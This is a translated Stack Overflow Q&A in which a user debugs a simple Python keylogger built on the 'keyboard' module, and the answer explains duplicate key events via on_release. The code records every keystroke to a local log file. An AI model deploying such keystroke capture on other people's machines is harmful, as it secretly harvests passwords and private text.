我正在开发一个键盘记录器,它使用 python 模块“键盘”捕获按键。但我的输出有问题。当我输入“Hello World”时,输出是flase。像这样:“shift-H-shift-e-e-l-l-o-space-W-o-r-l-d-d-enter
代码:
print("starting")
import keyboard # imports the keyboard-module
file = open("log.txt", "w") # creates a file
nZ = 0
keyboard.unhook_all() # clears all keys that were typed in
def on_key(key):
file.write(str(key.name) + "\n") # writes the output to a file
file.flush() # saves the written stuff
while True:
keyboard.hook(on_key) # waits for a key typed in
keyboard.unhook_all() # again clears all keys that were typed in
nZ += 1
file.close()
所以它们有时是重复的,有时不是。这是为什么?我的电脑速度慢吗?是模块本身的问题还是我使用了错误的功能或类似的功能?
编辑 - 正确的代码(工作得更好,但使用起来不太好,因为其中仍然有一些重复项):
print("starting")
import keyboard # imports the keyboard-module
file = open("log.txt", "w") # creates a file
keyboard.unhook_all() # clears all keys that were typed in
def on_key(key):
file.write(str(key.name) + "\n") # writes the output to a file
file.flush() # saves the written stuff
while True:
keyboard.on_release(on_key) # waits for a key typed in
keyboard.unhook_all() # again clears all keys that were typed in
file.close()
** 编辑 2 - 使用模块键盘最有效的方法是以下代码:
import keyboard
rk = keyboard.record(until="Esc")
keyboard.play(rk)
最佳答案
问题在于,钩子(Hook)会触发,松开,反弹,并在仍按下键时立即再次触发。
您可以通过使用keyboard.on_release(on_key)
而不是keyboard.hook(on_key)
来防止这种情况。这会导致钩子(Hook)仅在释放按键时触发。这样钩子(Hook)回弹时按键就不再被按下。
关于python - 使用模块键盘输出重复,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/67197568/